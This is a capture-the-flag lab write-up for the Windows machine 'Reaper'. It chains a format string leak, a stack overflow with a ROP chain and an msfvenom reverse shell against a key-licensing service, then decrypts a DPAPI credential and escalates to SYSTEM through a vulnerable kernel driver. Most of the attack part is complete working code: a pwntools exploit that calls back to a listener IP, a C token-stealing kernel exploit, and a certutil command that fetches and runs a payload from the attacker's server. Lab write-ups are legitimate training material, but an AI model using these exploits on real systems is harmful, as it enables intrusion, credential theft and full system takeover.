Reaper
A custom Windows key-licensing service leaks its own load address via a format string bug, then a stack buffer overflow with a ROP chain makes memory executable for a msfvenom reverse shell; a third-party kernel driver with an unguarded IOCTL completes the escalation by writing the SYSTEM process token over the current process's token pointer.
Overview
Reaper is an insane-difficulty Windows machine. The foothold exploits two bugs in a custom service on port 4141: a format string vulnerability leaks the binary’s base address, and an out-of-bounds write lets a ROP chain call VirtualAlloc to mark the stack executable before executing msfvenom shellcode. A DPAPI-encrypted credential blob in automation.txt leaks a second password. Privilege escalation abuses a third-party kernel driver (reaper.sys) whose IOCTL accepts fully attacker-controlled source and destination addresses, enabling a write-what-where condition that copies the SYSTEM process token over the current process’s token.
Recon
1
nmap -sC -sV 10.129.234.200
| Port | Service | Notes |
|---|---|---|
| 21 | FTP | Anonymous access |
| 80 | HTTP | IIS default page |
| 3389 | RDP | Windows Remote Desktop |
| 4141 | Custom | dev_keysvc.exe — key licensing service |
Port 4141 stood out as a custom Windows service. Connecting showed a menu with Set key and Activate key options — a classic audit target for memory-corruption bugs.
Enumeration
Interacting with the licensing protocol:
1
nc 10.129.234.200 4141
The service echoed back user-supplied key input in a Checking key: log line — a strong hint that the key value was passed directly to a print function. Sending %p as the start of a key produced a hex address in the output, confirming an externally-controlled format string.
Cyclic pattern testing on the Activate function revealed a 88-byte offset to the return address, with no stack canary protecting it.
Foothold
The exploit runs in two passes against the same TCP connection:
Pass 1 — leak the program base via format string:
1
2
3
key: %pX-FE9A1-500-A270-0194-U3RhbmRhcmQgTGljZW5zZQ==
response: Checking key: 0x7ff624480660X ...
pbase = 0x7ff624480660 - 0x20660 = 0x7ff624460000
With the image base known, all ROP gadget addresses are computed at runtime. The ROP chain calls VirtualAlloc(RSP, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE) — making the stack executable — then falls through to msfvenom shellcode placed immediately after.
Pass 2 — buffer overflow + ROP + shellcode:
Create exploit.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
import base64, subprocess, sys
target_ip = "10.129.234.200"
listener_ip = sys.argv[1] if len(sys.argv) > 1 else "10.10.16.166"
listener_port = int(sys.argv[2]) if len(sys.argv) > 2 else 443
subprocess.check_call(
f"msfvenom -p windows/x64/shell_reverse_tcp LHOST={listener_ip} LPORT={listener_port} "
f"-f python -v sc -o /tmp/sc.py", shell=True
)
from importlib.util import spec_from_file_location, module_from_spec
spec = spec_from_file_location("sc", "/tmp/sc.py")
sc_mod = module_from_spec(spec); spec.loader.exec_module(sc_mod); sc = sc_mod.sc
p = remote(target_ip, 4141)
p.sendlineafter(b"Exit", b"1")
p.sendafter(b"Enter a key:", b"%pX-FE9A1-500-A270-0194-U3RhbmRhcmQgTGljZW5zZQ==")
p.sendlineafter(b"Exit", b"2")
p.readuntil(b"Checking key: ")
leak = int(p.readuntil(b"X", drop=True).decode(), 16)
pbase = leak - 0x20660
pop_rcx = 0x31dc; pop_rax = 0x150a; pop_r13 = 0x47b3
mov_rdx_r13 = 0x368f; pop_rbx = 0x20d9; mov_r9_rbx = 0x1f90
cmove_r9_rdx = 0x1f37d; mov_r8_0 = 0x1f93; add_r8_r9 = 0x3918
pop_rsi = 0x4116; cmp_esi = 0x12ddb; jmp_qw_rbx = 0x1ec79
VirtualAlloc = pbase + 0x20000
def load_r8(v):
return (p64(pbase+mov_r8_0)+p64(0xdeadbeefdeadbeef)+p64(pbase+pop_rbx)
+p64(v)+p64(pbase+mov_r9_rbx)+p64(0xdeadbeefdeadbeef)+p64(pbase+add_r8_r9))
def load_r9(v):
return (p64(pbase+pop_rsi)+p64(0x6348ffff)+p64(pbase+cmp_esi)
+p64(pbase+pop_r13)+p64(v)+p64(pbase+pop_rax)+p64(pbase+pop_rax)
+p64(pbase+mov_rdx_r13)+p64(pbase+cmove_r9_rdx))
def load_rdx(v):
return p64(pbase+pop_r13)+p64(v)+p64(pbase+pop_rax)+p64(pbase+pop_rax)+p64(pbase+mov_rdx_r13)
def rsp_to_rcx():
return (p64(pbase+pop_rbx)+p64(0)+p64(pbase+0x1fa0)
+p64(pbase+0x1fc2)+p64(pbase+0x1f80))
def jmp_IAT(addr):
return (p64(pbase+pop_rbx)+p64(addr)+p64(pbase+jmp_qw_rbx)
+p64(pbase+0xa99a)+p64(0xdeadbeefdeadbeef)+p64(0xdeadbeefdeadbeef))
rop = load_r8(0x1000)+load_r9(0x40)+load_rdx(0x1000)+rsp_to_rcx()+jmp_IAT(VirtualAlloc)
rop += p64(pbase+0x1becd)+b"\x90"*8+sc
p.sendlineafter(b"Exit", b"1")
p.sendafter(b"Enter a key:", b"101-FE9A1-550-A271-0109-"+base64.b64encode(cyclic(88)+rop))
p.sendlineafter(b"Exit", b"2")
p.close()
Start listener:
1
python3 ~/Downloads/Tools/revcatch/revcatch.py tun0 443 10.129.234.200 &
Run exploit:
1
python3 exploits/exploit.py 10.10.16.166 443
Reverse shell lands as reaper\keysvc.
User flag
1
2
powershell -c "Get-Content C:\Users\keysvc\Desktop\user.txt"
# HTB{...}
Lateral Movement
An automation.txt file in the service directory contained a hex-encoded DPAPI blob. DPAPI encryption is tied to the encrypting user’s master key — since our shell runs as keysvc (the same account that produced the blob), decryption is trivial with a PowerShell one-liner:
1
2
3
4
$sec = Get-Content automation.txt | ConvertTo-SecureString
$ptr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($sec)
[System.Runtime.InteropServices.Marshal]::PtrToStringBSTR($ptr)
# CatWinterMist10
This recovers a plaintext credential usable for RDP or further access.
Privilege Escalation
driverquery /v | findstr /i reaper revealed a third-party kernel driver reaper.sys loaded and exposing a \\.\Reaper device handle accessible to unprivileged users. Reverse engineering showed three IOCTLs:
| IOCTL | Code | Purpose |
|---|---|---|
| ALLOCATE | 0x80002003 | Set up a copy context with src + dst addresses |
| COPY | 0x8000200B | Copy 8 bytes from src to dst |
| FREE | 0x80002007 | Release the context |
Both addresses are taken from the user-supplied buffer with zero validation — a textbook write-what-where condition in the kernel. Using the read primitive to walk the ActiveProcessLinks EPROCESS chain (offsets: UniqueProcessId +0x440, ActiveProcessLinks +0x448, Token +0x4b8) and the write primitive to overwrite the current process token with PID 4’s token grants NT AUTHORITY\SYSTEM.
Cross-compile the exploit on Kali:
1
2
x86_64-w64-mingw32-gcc -o exploit.exe priv.c -lpsapi
python3 -m http.server 8080
Create priv.c:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
typedef ULONGLONG QWORD;
#define IOCTL_ALLOCATE 0x80002003
#define IOCTL_FREE 0x80002007
#define IOCTL_COPY_SRC_DST 0x8000200B
#define ActiveProcessLinks_OFFSET 0x448
#define PID_OFFSET 0x440
#define TokenPtr_OFFSET 0x4b8
HANDLE hFile = NULL;
typedef NTSTATUS(WINAPI* _NtQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG);
#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024*1024*2
typedef struct _SHI { USHORT Pid,Bt; UCHAR Ti,Ha; USHORT Hv; PVOID Obj; ULONG Ga; } SHI;
typedef struct _SH { ULONG N; SHI H[1]; } SH;
typedef struct reap { DWORD magic,tid,pri,pad; QWORD src,dst; } reap;
typedef struct { QWORD ep,tp; int pid; } EPR;
HANDLE GDH(LPCSTR f){return CreateFile(f,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL|FILE_FLAG_OVERLAPPED,NULL);}
QWORD getSysEP(){ULONG r=0;_NtQuerySystemInformation NtQSI=(_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"),"NtQuerySystemInformation");SH*i=(SH*)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,SystemHandleInformationSize);NtQSI(SystemHandleInformation,i,SystemHandleInformationSize,&r);return(QWORD)i->H[0].Obj;}
void Alloc(reap*r){unsigned char o[1024];ULONG b;memset(o,0,1024);DeviceIoControl(hFile,IOCTL_ALLOCATE,(LPVOID)r,(DWORD)sizeof(reap),o,1024,&b,NULL);}
void Free(){unsigned char o[1024];ULONG b;memset(o,0,1024);DeviceIoControl(hFile,IOCTL_FREE,NULL,0,o,1024,&b,NULL);}
void Copy(){unsigned char o[1024];ULONG b;memset(o,0,1024);DeviceIoControl(hFile,IOCTL_COPY_SRC_DST,NULL,0,o,1024,&b,NULL);}
QWORD arbRead(QWORD w){reap r;QWORD out;r.magic=0x6A55CC9E;r.pri=0;r.tid=GetCurrentThreadId();r.src=w;r.dst=(QWORD)&out;Alloc(&r);Copy();Free();return out;}
void arbWrite(QWORD d,QWORD s){reap r;r.magic=0x6A55CC9E;r.pri=0;r.tid=GetCurrentThreadId();r.src=s;r.dst=d;Alloc(&r);Copy();Free();}
EPR getEP(DWORD pid){QWORD cp=getSysEP();BOOL f=0;DWORD cp2=0;QWORD ct=0;while(!f){cp=arbRead(cp+ActiveProcessLinks_OFFSET)-ActiveProcessLinks_OFFSET;cp2=(DWORD)arbRead(cp+PID_OFFSET);ct=arbRead(cp+TokenPtr_OFFSET);if(cp2==pid){printf("[>] PID %d EP:%llx TOK:%llx\n",cp2,cp,ct);f=1;}}static EPR e;e.ep=cp;e.tp=ct;e.pid=cp2;return e;}
void main(){hFile=GDH("\\\\.\\Reaper");if(hFile==INVALID_HANDLE_VALUE){printf("fail\n");exit(1);}EPR cur=getEP(GetCurrentProcessId());EPR sys=getEP(4);arbWrite(cur.ep+0x4b8,sys.ep+0x4b8);printf("[+] Done\n");system("cmd.exe /c type C:\\Users\\Administrator\\Desktop\\root.txt");CloseHandle(hFile);}
Transfer and execute on the target:
1
2
certutil -urlcache -f http://10.10.16.166:8080/exploit.exe C:\Users\keysvc\exploit.exe
C:\Users\keysvc\exploit.exe
Output: SYSTEM _EPROCESS located, token pointer copied — current process is now NT AUTHORITY\SYSTEM.
Root flag
1
2
type C:\Users\Administrator\Desktop\root.txt
# HTB{...}